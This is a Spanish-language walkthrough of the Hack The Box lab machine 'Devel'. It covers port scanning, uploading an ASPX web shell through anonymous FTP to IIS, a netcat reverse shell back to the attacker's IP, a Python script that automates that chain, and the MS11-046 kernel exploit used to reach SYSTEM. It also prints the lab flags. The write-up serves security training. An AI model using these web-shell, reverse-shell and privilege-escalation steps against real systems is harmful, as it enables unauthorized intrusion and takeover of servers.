Devel- Hack The Box -ESP
DESCRIPCIÓN
En este post realizaremos el write up de la máquina Devel. Tocaremos los conceptos de FTP, Privilege Escalation, IIS Servide haremos una explotación de la vulnerabilidad MS11-046

INDICE
RECONOCIMIENTO
El objetivo principal de la etapa de reconocimiento es obtener una visión general de la infraestructura, sistemas, aplicaciones y posibles puntos débiles de la organización o sistema que se va a someter a la prueba de penetración. Esta información es esencial para planificar y ejecutar el resto del proceso de pentesting de manera más efectiva.
Durante la etapa de reconocimiento, el equipo de pentesting puede realizar diferentes acciones y técnicas, que incluyen:
1.Búsqueda de información pública: Se recopila información de dominios, subdominios, direcciones IP, registros de DNS, información de contacto de la empresa, etc., que está disponible públicamente a través de fuentes como el sitio web de la empresa, registros WHOIS, redes sociales, motores de búsqueda, entre otros.
2.Escaneo de red: Se utilizan herramientas de escaneo de puertos y servicios para identificar los sistemas en línea y los puertos abiertos en el objetivo. Esto ayuda a tener una idea de la infraestructura de red y los servicios disponibles.
3.Enumeración de servicios: Una vez identificados los servicios y puertos abiertos, se intenta obtener información más detallada sobre los servicios, como las versiones de software, para determinar si existen vulnerabilidades conocidas asociadas con esos servicios.
4.Búsqueda de subdominios y directorios ocultos: Se busca información adicional sobre posibles subdominios, directorios ocultos o páginas web no enlazadas públicamente, lo que podría revelar puntos de entrada adicionales o información sensible.
5.Análisis de arquitectura de red: Se investiga la topología de la red para comprender la relación entre diferentes sistemas y cómo se conectan, lo que ayuda a identificar posibles rutas para movimientos laterales.
6.Búsqueda de vulnerabilidades conocidas: Se investigan bases de datos de vulnerabilidades conocidas y bases de datos de exploits para identificar posibles vulnerabilidades que puedan existir en el software o servicios utilizados por el objetivo.
- Lo primero que vamos hacer es un ping a la maquina victima ping -c 1 10.10.10.5 ping: Es el comando utilizado para enviar solicitudes de eco (ping) a una dirección IP específica para verificar la conectividad de red y la latencia de la conexión. -c 1: Es una opción que se utiliza para especificar el número de solicitudes de eco que se enviarán. En este caso, se envía solo una solicitud (-c 1). 10.10.10.5: Es la dirección IP del host o máquina que será objeto del comando ping.
ping -c 1 10.10.10.5
PING 10.10.10.5 (10.10.10.5) 56(84) bytes of data.
64 bytes from 10.10.10.5: icmp_seq=1 ttl=127 time=85.0 ms
--- 10.10.10.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 84.979/84.979/84.979/0.000 ms
El TTL–>127 indica que es una máquina Windows
ENUMERACIÓN DE PUERTOS
Realizamos un escaneo de puertos usando la herramienta nmap:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.5 -oG scanPorts
Veamos el significado de cada opción utilizada en el comando:
-
nmap: Es el comando para ejecutar la herramienta de escaneo de puertosnmap. -
-p-: Esta opción indica que se deben escanear todos los puertos, es decir, desde el puerto 1 hasta el puerto 65535. -
--open: Filtra los resultados del escaneo para mostrar solo los puertos que están abiertos, es decir, aquellos que responden a la solicitud de escaneo. -
-sS: Indica un escaneo de tipo “SYN scan”. Este tipo de escaneo envía paquetes SYN (sincronización) a los puertos y analiza las respuestas para determinar si están abiertos, cerrados o filtrados por firewall. -
--min-rate 5000: Establece la velocidad mínima de envío de paquetes. En este caso, se envían al menos 5000 paquetes por segundo. -
-vvv: Habilita el modo de salida muy detallado, lo que significa que se mostrarán niveles de verbosidad muy altos para obtener información detallada del escaneo. -
-n: Indica que no se realice la resolución de DNS para las direcciones IP, lo que acelera el escaneo. -
-Pn: Esta opción indica que no se realice el “ping” para determinar si los hosts están en línea o no. Se ignoran las respuestas del ping y se escanea directamente. -
10.10.10.5: Es la dirección IP del objetivo que será escaneado. -
-oG scanPorts: Especifica que se debe guardar la salida del escaneo en un formato “grepable” (formato de texto plano) con el nombre de archivo “scanPorts”.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.5 -oG scanPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-24 20:38 -05
Initiating SYN Stealth Scan at 20:38
Scanning 10.10.10.5 [65535 ports]
Discovered open port 80/tcp on 10.10.10.5
Discovered open port 21/tcp on 10.10.10.5
Completed SYN Stealth Scan at 20:39, 26.35s elapsed (65535 total ports)
Nmap scan report for 10.10.10.5
Host is up, received user-set (0.083s latency).
Scanned at 2023-07-24 20:38:38 -05 for 27s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
80/tcp open http syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.42 seconds
Raw packets sent: 131087 (5.768MB) | Rcvd: 22 (968B)
Escaneamos al objetivo con los scripts básicos de reconocimiento de nmap, apuntando a los puertos abiertos en busca de más información.
Los resultados incluirán información sobre los servicios que se están ejecutando en los puertos escaneados y sus versiones correspondientes.
nmap -sCV -p21,80 10.10.10.5 -oN targeted
❯ nmap -sCV -p21,80 10.10.10.5 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-24 20:41 -05
Nmap scan report for 10.10.10.5
Host is up (0.084s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM <DIR> aspnet_client
| 07-24-23 03:35AM 1398 aspx_cmd.aspx
| 07-24-23 08:04AM 18640 CLSID.list
| 07-24-23 07:39PM 1442 cmd.aspx
| 07-24-23 05:30AM 1581 cmdtest.asp
| 07-24-23 07:08AM 1580 GetCLSID.ps1
| 03-17-17 05:37PM 689 iisstart.htm
| 07-24-23 07:33AM 72846 Invoke-ConPtyShell.ps1
| 07-24-23 07:49AM 4339 Invoke-PowerShellTcp.ps1
| 07-24-23 08:09AM 263680 JuicyPotato.exe
| 07-24-23 04:47PM 2910 latShell.aspx
| 07-24-23 03:35AM 59392 nc.exe
| 07-24-23 08:35AM 2395 result.log
| 07-24-23 05:09AM 2907 rs_aspx.aspx
| 07-24-23 05:37AM 16392 shell.aspx
| 07-24-23 04:25AM 38381 tess.asp
| 07-24-23 04:34AM 38795 test.aspx
| 07-24-23 04:40AM 38583 test1.aspx
| 07-24-23 04:42AM 2925 test2.aspx
| 07-24-23 05:40AM 2916 test3.aspx
|_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.69 seconds
-
Puerto 21/tcp: El servicio que se está ejecutando en este puerto es un servidor FTP (File Transfer Protocol) de Microsoft (Microsoft ftpd). Además, se puede acceder de forma anónima (Anonymous FTP login allowed) sin necesidad de autenticación.
-
Puerto 80/tcp: El servicio que se está ejecutando en este puerto es un servidor HTTP (Hypertext Transfer Protocol) de Microsoft IIS (Internet Information Services) versión 7.5.
- Probamos si podemos ingresar por ftp, ya que podemos ingresar sin contraseña con el usuario anonymous.
❯ ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:balthael): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 02:06AM <DIR> aspnet_client
07-24-23 03:35AM 1398 aspx_cmd.aspx
07-24-23 08:04AM 18640 CLSID.list
07-24-23 07:39PM 1442 cmd.aspx
07-24-23 05:30AM 1581 cmdtest.asp
07-24-23 07:08AM 1580 GetCLSID.ps1
03-17-17 05:37PM 689 iisstart.htm
07-24-23 07:33AM 72846 Invoke-ConPtyShell.ps1
07-24-23 07:49AM 4339 Invoke-PowerShellTcp.ps1
07-24-23 08:09AM 263680 JuicyPotato.exe
07-24-23 04:47PM 2910 latShell.aspx
07-24-23 03:35AM 59392 nc.exe
07-24-23 08:35AM 2395 result.log
07-24-23 05:09AM 2907 rs_aspx.aspx
07-24-23 05:37AM 16392 shell.aspx
07-24-23 04:25AM 38381 tess.asp
07-24-23 04:34AM 38795 test.aspx
07-24-23 04:40AM 38583 test1.aspx
07-24-23 04:42AM 2925 test2.aspx
07-24-23 05:40AM 2916 test3.aspx
07-24-23 07:07AM 285 test_clsid.bat
03-17-17 05:37PM 184946 welcome.png
07-24-23 05:46AM 2029568 winp.exe
07-24-23 05:47AM 35948 winPEAS.bat
07-24-23 05:41AM 2029568 winPEASany.exe
226 Transfer complete.
ftp>
Vemos un welcome.png si queremos descargarla a nuestra maquina para verla, hacemos lo siguiente:
- nos podemos en modo Binary
get welcome.pngftp 10.10.10.5 Connected to 10.10.10.5. 220 Microsoft FTP Service Name (10.10.10.5:balthael): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> binary 200 Type set to I. ftp> get welcome.png local: welcome.png remote: welcome.png 200 PORT command successful. 125 Data connection already open; Transfer starting. 226 Transfer complete. 184946 bytes received in 0.73 secs (248.2746 kB/s)
Como estamos en una kitty con kitty kitten icat welcome.png podemos verla:

También vemos que el puerto 80 esta abierto donde tiene un Microsoft IIS, así que vamos a ver la pagina web.
MICROSOFT IIS
Microsoft IIS (Internet Information Services) es un conjunto de servicios de servidor web desarrollados por Microsoft que se ejecutan en sistemas operativos Windows. IIS permite a los usuarios hospedar sitios web y aplicaciones web en un servidor para que puedan ser accesibles a través de Internet o una red local.
Algunas de las características y funciones principales de IIS son las siguientes:
-
Servidor web: IIS es un servidor web que se utiliza para entregar contenido web a los navegadores de los usuarios. Soporta los protocolos HTTP, HTTPS, FTP, FTPS y SMTP, lo que permite servir diferentes tipos de contenido y proporcionar opciones de seguridad para las transferencias de datos.
-
Hospedaje de sitios web: IIS permite a los usuarios hospedar múltiples sitios web en un solo servidor. Cada sitio web puede tener su propio dominio o dirección IP, lo que facilita el alojamiento de varios sitios en un mismo servidor físico.
-
Soporte para aplicaciones web: IIS es capaz de alojar aplicaciones web desarrolladas en diferentes tecnologías, como ASP.NET, PHP, Python y más. Proporciona un entorno de tiempo de ejecución para estas aplicaciones, permitiéndoles funcionar correctamente y responder a las solicitudes de los clientes.
-
Autenticación y autorización: IIS ofrece opciones de autenticación y autorización para proteger los sitios web y aplicaciones web de accesos no autorizados. Puede integrarse con diferentes sistemas de autenticación, como Active Directory, y proporcionar distintos niveles de acceso a los usuarios.
-
Configuración basada en roles: IIS utiliza el concepto de roles para gestionar diferentes funciones y características del servidor. Cada rol tiene funcionalidades específicas, como el rol de servidor web, el rol de servidor FTP y otros roles adicionales que se pueden agregar según sea necesario.
-
Registro y monitoreo: IIS registra eventos y actividades importantes relacionadas con el servidor y los sitios web, lo que facilita el monitoreo y la solución de problemas en caso de problemas o incidentes.
-
Extensibilidad: IIS es altamente extensible y se puede personalizar mediante módulos y complementos para agregar funcionalidades adicionales según los requisitos específicos del servidor y las aplicaciones que se están ejecutando.
ENUMERACIÓN DE SERVICIOS
Hacemos un escaneo con whatweb whatweb http://10.10.10.5
❯ whatweb http://10.10.10.5
http://10.10.10.5 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.5], Microsoft-IIS[7.5][Under Construction], Title[IIS7], X-Powered-By[ASP.NET]
- Vamos a probar si puedo escribir archivos en en ftp
- Creamos un archivo llamado prueba.txt donde vamos alojar whoami y lo subimos al ftp.
whoami > prueba.txt
ftp> put prueba.txt
local: prueba.txt remote: prueba.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
6 bytes sent in 0.00 secs (217.0139 kB/s)
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 02:06AM <DIR> aspnet_client
07-24-23 03:35AM 1398 aspx_cmd.aspx
07-24-23 08:04AM 18640 CLSID.list
07-24-23 07:39PM 1442 cmd.aspx
07-24-23 05:30AM 1581 cmdtest.asp
07-24-23 07:08AM 1580 GetCLSID.ps1
03-17-17 05:37PM 689 iisstart.htm
07-24-23 07:33AM 72846 Invoke-ConPtyShell.ps1
07-24-23 07:49AM 4339 Invoke-PowerShellTcp.ps1
07-24-23 08:09AM 263680 JuicyPotato.exe
07-24-23 04:47PM 2910 latShell.aspx
07-24-23 03:35AM 59392 nc.exe
07-25-23 05:07AM 6 prueba.txt
07-24-23 08:35AM 2395 result.log
07-24-23 05:09AM 2907 rs_aspx.aspx
07-25-23 05:01AM 2907 shell.aspx
07-25-23 04:47AM 20881 shell.php
07-24-23 04:25AM 38381 tess.asp
07-24-23 04:34AM 38795 test.aspx
07-24-23 04:40AM 38583 test1.aspx
07-24-23 04:42AM 2925 test2.aspx
07-24-23 05:40AM 2916 test3.aspx
07-24-23 07:07AM 285 test_clsid.bat
03-17-17 05:37PM 184946 welcome.png
07-24-23 05:46AM 2029568 winp.exe
07-24-23 05:47AM 35948 winPEAS.bat
07-24-23 05:41AM 2029568 winPEASany.exe
226 Transfer complete.
Ahora vemos si la Web lo interpreta y de esa manera concluimos que esta sincronizado el ftp con web.
EXPLOTACIÓN

- Como es un servicio IIS debemos subir un archivo con la extensión .aspx
- Si buscamos en nuestra máquina archivos con extensión .aspx nos arroja muchos, en esta caso vamos a usar uno de cmd para que la web nos de un cmd.
❯ locate .aspx | grep cmd
/usr/share/davtest/backdoors/aspx_cmd.aspx
/usr/share/seclists/Web-Shells/FuzzDB/cmd.aspx
/usr/share/webshells/aspx/cmdasp.aspx
- Vamos a usar el de seclists
/usr/share/seclists/Web-Shells/FuzzDB/cmd.aspxy lo subimos al servidor web por ftp.
ftp> put cmd.aspx
local: cmd.aspx remote: cmd.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
1442 bytes sent in 0.00 secs (72.3789 MB/s)
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 02:06AM <DIR> aspnet_client
07-24-23 03:35AM 1398 aspx_cmd.aspx
07-24-23 08:04AM 18640 CLSID.list
07-25-23 05:20AM 1442 cmd.aspx
07-24-23 05:30AM 1581 cmdtest.asp
07-24-23 07:08AM 1580 GetCLSID.ps1
03-17-17 05:37PM 689 iisstart.htm
07-24-23 07:33AM 72846 Invoke-ConPtyShell.ps1
07-24-23 07:49AM 4339 Invoke-PowerShellTcp.ps1
07-24-23 08:09AM 263680 JuicyPotato.exe
07-24-23 04:47PM 2910 latShell.aspx
07-24-23 03:35AM 59392 nc.exe
07-24-23 08:35AM 2395 result.log
07-25-23 05:12AM 2739 reverse-shell.aspx
07-24-23 05:09AM 2907 rs_aspx.aspx
07-25-23 05:01AM 2907 shell.aspx
07-25-23 04:47AM 20881 shell.php
07-24-23 04:25AM 38381 tess.asp
07-24-23 04:34AM 38795 test.aspx
07-24-23 04:40AM 38583 test1.aspx
07-24-23 04:42AM 2925 test2.aspx
07-24-23 05:40AM 2916 test3.aspx
07-24-23 07:07AM 285 test_clsid.bat
03-17-17 05:37PM 184946 welcome.png
07-24-23 05:46AM 2029568 winp.exe
07-24-23 05:47AM 35948 winPEAS.bat
07-24-23 05:41AM 2029568 winPEASany.exe
226 Transfer complete.

-
De esta manera comprobamos que tenemos una forma potencial de hacer ejecución remota de comandos, ahora lo que tenemos que hacer es ganar acceso a la máquina.
-
Como primera medida vamos a subir el binario netcat al servidor, si buscamos en nuestra máquina
locate nc.exe❯ locate nc.exe /usr/share/seclists/Web-Shells/FuzzDB/nc.exeLo copiamos en nuestra carpeta de trabajo
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .Ahora lo subimos al ftp, pero ten en cuenta que lo debes hacer en modo binary porque vas a subir un binario.
ftp> bynari
?Invalid command
ftp> binary
200 Type set to I.
ftp> put nc.exe
local: nc.exe remote: nc.exe
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
28160 bytes sent in 0.00 secs (526.5778 MB/s)
- Para buscar el binario de nc por lo general se guarda en inetpub recordemos que es una carpeta específica utilizada por Microsoft Internet Information Services (IIS) para almacenar los archivos y recursos asociados con los sitios web y aplicaciones web alojados en el servidor. El nombre “inetpub” es una abreviatura de “Internet Publishing” (Publicación en Internet) y es el nombre predeterminado de la carpeta en la cual IIS aloja los contenidos web.
dir C:\inetpub\wwwroot\

- Ahora como ya se donde se aloja, lo ejecuto enviándome una consola interactiva a mi maquina de atacante.
C:\inetpub\wwwroot\nc.exe -e cmd 10.10.14.168 443 y me pongo en escucha por el puerto 443 voy a recibir la consola y tenemos acceso a la máquina.
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.168] from (UNKNOWN) [10.10.10.5] 50450
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
whoami
whoami
iis apppool\web

- Vamos a crearnos ahora un script de python para hacer la introducción de manera mas ágil y con eso practicamos Python ofensivo.
#!/usr/bin/python3
from pwn import *
from ftplib import FTP
import requests, re , pdb, time, threading
import signal
import sys
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
malicious_files = ["console.aspx","nc.exe"]
#Variables Globales
console_url = "http://10.10.10.5/%s" % malicious_files[0]
lport = 443
def uploadFiles():
ftp = FTP()
# ftp.set_debuglevel(2)
ftp.connect("10.10.10.5", 21)
ftp.login('anonymous', '')
for malicious_file in malicious_files:
ftp.storbinary("STOR %s" % malicious_file, open(malicious_file, "rb"))
def makeRequest():
s = requests.session()
r = s.get(console_url)
post_data ={
'__VIEWSTATE': re.findall(r'id="__VIEWSTATE" value="(.*?)"', r.text)[0],
'__EVENTVALIDATION': re.findall(r'id="__EVENTVALIDATION" value="(.*?)"', r.text)[0],
'txtArg': 'C:\inetpub\wwwroot\%s -e cmd 10.10.14.168 443' % malicious_files[1],
'testing': 'excute',
}
#RCE
r = s.post(console_url,data=post_data)
if __name__ == '__main__':
uploadFiles()
try:
threading.Thread(target=makeRequest, args=()).start()
except Exception as e:
log.error(str(e))
shell = listen(lport, timeout=20).wait_for_connection()
shell.interactive()
-
#!/usr/bin/python3: Esta línea es un shebang que especifica que el script debe ejecutarse con Python 3. -
from pwn import *: Se importa el módulopwn. Este módulo es una herramienta para escribir exploits y trabajar con binarios y conexiones de red de una manera sencilla. -
from ftplib import FTP: Se importa la clase FTP del móduloftplib, que permite interactuar con servidores FTP. -
import requests, re , pdb, time, threading: Se importan otros módulos utilizados en el script:requestspara hacer solicitudes HTTP,repara trabajar con expresiones regulares,pdbpara el depurador (que no parece estar en uso),timepara trabajar con funciones relacionadas con el tiempo, ythreadingpara trabajar con hilos (threads). -
import signal: Se importa el módulosignal, que permite trabajar con señales del sistema (por ejemplo, manejar la señal de Ctrl+C). -
import sys: Se importa el módulosys, que proporciona funciones y variables que interactúan con el intérprete de Python. -
def def_handler(sig, frame):: Se define una función llamadadef_handler, que será utilizada para manejar la señal de Ctrl+C. Recibe dos argumentos,sig(el número de la señal recibida) yframe(el marco de la pila de llamadas al momento de recibir la señal). -
print("\n\n[!] Saliendo...\n"): Imprime un mensaje en la consola indicando que el programa está saliendo. -
sys.exit(1): Hace que el programa salga con un código de error 1, indicando que la finalización no fue exitosa. -
signal.signal(signal.SIGINT, def_handler): Aquí se establece que cuando se reciba la señal de Ctrl+C (SIGINT), se llamará a la funcióndef_handlerdefinida anteriormente. -
malicious_files = ["console.aspx","nc.exe"]: Se define una lista llamadamalicious_filesque contiene dos nombres de archivos, “console.aspx” y “nc.exe”. Estos archivos parecen ser archivos maliciosos que el script usará más adelante. -
console_url = "http://10.10.10.5/%s" % malicious_files[0]: Se define una variable llamadaconsole_url, que contiene una URL formada por una dirección IP (10.10.10.5) y el primer elemento de la listamalicious_files(“console.aspx”). La URL resultante será utilizada para hacer solicitudes HTTP. -
lport = 443: Se define una variable llamadalporty se le asigna el valor 443. -
def uploadFiles():: Se define una función llamadauploadFiles, que se encarga de subir archivos a través de FTP al servidor con dirección IP 10.10.10.5. -
ftp = FTP(): Se crea una instancia del objetoFTP. -
ftp.connect("10.10.10.5", 21): Se establece una conexión con el servidor FTP ubicado en la dirección IP 10.10.10.5 y el puerto 21 (puerto estándar de FTP). -
ftp.login('anonymous', ''): Se inicia sesión en el servidor FTP con el nombre de usuario “anonymous” y una contraseña vacía (esto es común en servidores FTP públicos). -
for malicious_file in malicious_files:: Comienza un bucleforque recorrerá cada elemento de la listamalicious_files. -
ftp.storbinary("STOR %s" % malicious_file, open(malicious_file, "rb")): Aquí se sube cada archivo en la listamalicious_filesal servidor FTP. La funciónstorbinaryrealiza la operación de almacenamiento binario, utilizando el nombre de archivo correspondiente en el servidor. -
def makeRequest():: Se define una función llamadamakeRequest, que será responsable de realizar solicitudes HTTP al servidor web. -
s = requests.session(): Se crea una instancia de sesión HTTP utilizandorequests. -
r = s.get(console_url): Se realiza una solicitud GET al servidor web, específicamente a la URL almacenada en la variableconsole_url. La respuesta se almacena en la variabler. -
post_data = { ... }: Se crea un diccionario llamadopost_dataque contiene datos que se enviarán mediante una solicitud POST al servidor web. Los datos incluyen VIEWSTATE, EVENTVALIDATION, txtArg y testing. -
r = s.post(console_url, data=post_data): Se realiza una solicitud POST al servidor web utilizando la URL almacenada enconsole_urly enviando los datos almacenados enpost_data. Esto parece ser parte de la explotación de una vulnerabilidad en el servidor web. -
if __name__ == '__main__':: Esta línea verifica si el script se está ejecutando como un programa principal. -
uploadFiles(): Se llama a la funciónuploadFiles(), que subirá los archivos maliciosos al servidor FTP. -
try: ... except Exception as e: ...: Se intenta realizar la siguiente sección de código y, si ocurre una excepción, se captura y se almacena en la variablee. -
threading.Thread(target=makeRequest, args=()).start(): Se crea un hilo (thread) que ejecutará la funciónmakeRequest()en paralelo con el hilo principal. Esto permite realizar la solicitud HTTP mientras se espera la conexión de un cliente. -
shell = listen(lport, timeout=20).wait_for_connection(): Aquí se llama a la funciónlistendel módulopwnpara escuchar conexiones en el puerto almacenado enlport(puerto 443). La función espera hasta que se establezca una conexión o hasta que pase un tiempo máximo de 20 segundos. -
shell.interactive(): Una vez que se establece la conexión, se inicia una sesión interactiva que permitirá interactuar con el cliente conectado.
Este código es un script que explota una vulnerabilidad en un servidor web ubicado en la dirección IP 10.10.10.5. Sube archivos maliciosos al servidor a través de FTP y, a continuación, realiza una solicitud HTTP que aprovecha la vulnerabilidad para ejecutar comandos en el servidor. Luego, espera una conexión entrante en el puerto 443 y, una vez establecida la conexión, inicia una sesión interactiva con el cliente conectado.
ESCALADA DE PRIVILEGIOS
- Ahora vamos a convertirnos en usuario administrador
- Nos vamos a la ruta Users
cd C:\Usersy luego vemos los archivos condir
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is 137F-3971
Directory of C:\Users
18/03/2017 02:16 <DIR> .
18/03/2017 02:16 <DIR> ..
18/03/2017 02:16 <DIR> Administrator
17/03/2017 05:17 <DIR> babis
18/03/2017 02:06 <DIR> Classic .NET AppPool
14/07/2009 10:20 <DIR> Public
0 File(s) 0 bytes
6 Dir(s) 4.506.624.000 bytes free
Existe un usuario babis, pero no podemos ingresar, nos obliga a ser usuario administrador
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Vemos que tenemos algunos privilegios como el SeImpersonatePrivilege y este es vulnerable, pero en este caso lo haremos de otra manera.
si ejecutamos un systeminfo :
Host Name: DEVEL
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: babis
Registered Organization:
Product ID: 55041-051-0948536-86302
Original Install Date: 17/3/2017, 4:17:31
System Boot Time: 24/7/2023, 2:59:33
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x64 Family 6 Model 85 Stepping 7 GenuineIntel ~2294 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 3.071 MB
Available Physical Memory: 2.287 MB
Virtual Memory: Max Size: 6.141 MB
Virtual Memory: Available: 5.359 MB
Virtual Memory: In Use: 782 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Local Area Connection 3
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.5
[02]: fe80::58c0:f1cf:abc6:bb9e
[03]: dead:beef::5d5d:cfc7:24a3:a440
[04]: dead:beef::58c0:f1cf:abc6:bb9e
-
Vemos que es un Windows7 con OS Version: 6.1.7600 N/A Build 7600 Si buscamos en la red que vulnerabilidades tiene esta versión vemos que existe un Local Privilege Escalation llamado MS11-046, ahora buscamos un exploit en gibhub y lo encontramos en : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046
-
Nos descargamos el .exe y lo subimos a la máquina victima.
smbserver.py smbFolder $(pwd)
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Con smbserver creamos un recurso compartido a nivel de red identificado como smbFolder y que está sincronizado con la ruta absoluta actual de trabajo.
- En la máquina victima nos dirigimos a
cd C:\Windows\Tempnos creamos un directorio que lo llamaremos privesc nos metemos alli para guardar el .execd privesc
C:\Windows\Temp\Privesc>copy \\10.10.14.168\smbFolder\ms11-046.exe ms11-046.exe
Nos copiamos el .exe con este comando

.\ms11-046.exe
whoami
whoami
nt authority\system
c:\Windows\System32>
Ya estamos como administrador
- si vamos a la Ruta de Users y entramos en el usuario babis, ya tenemos acceso.
cd babis
dir
dir
Volume in drive C has no label.
Volume Serial Number is 137F-3971
Directory of C:\Users\babis
17/03/2017 05:17 <DIR> .
17/03/2017 05:17 <DIR> ..
17/03/2017 05:17 <DIR> Contacts
11/02/2022 04:54 <DIR> Desktop
17/03/2017 05:17 <DIR> Documents
17/03/2017 05:17 <DIR> Downloads
17/03/2017 05:17 <DIR> Favorites
17/03/2017 05:17 <DIR> Links
17/03/2017 05:17 <DIR> Music
17/03/2017 05:17 <DIR> Pictures
17/03/2017 05:17 <DIR> Saved Games
17/03/2017 05:17 <DIR> Searches
17/03/2017 05:17 <DIR> Videos
0 File(s) 0 bytes
13 Dir(s) 4.506.812.416 bytes free
FLAGS
- La flag la buscamos indicándole que busque de manera recursiva la string user.txt
dir /r /s user.txt
dir /r /s user.txt
Volume in drive C has no label.
Volume Serial Number is 137F-3971
Directory of C:\Users\babis\Desktop
24/07/2023 03:00 34 user.txt
1 File(s) 34 bytes
Total Files Listed:
1 File(s) 34 bytes
0 Dir(s) 4.506.812.416 bytes free
type user.txt
3c37e8b34ca6f114448dd1b37384ca55
- Ahora buscamos la de root de la misma manera:
dir /r /s root.txt
Volume in drive C has no label.
Volume Serial Number is 137F-3971
Directory of C:\Users\Administrator\Desktop
24/07/2023 03:00 34 root.txt
1 File(s) 34 bytes
Total Files Listed:
1 File(s) 34 bytes
0 Dir(s) 4.506.812.416 bytes free
type C:\Users\Administrator\Desktop\root.txt
3dfbb340be9fb930b5e89ed88ff33d30
AUTORES y REFERENCIAS
Autor del write up: John Osorio (Balthael) HTB. Si quieres contactarme por cualquier motivo lo podéis hacer a través de Instagram.
Autor de la máquina: ch4p, muchas gracias por la creación de Devel, la disfrute mucho. HTB.
Hack the Box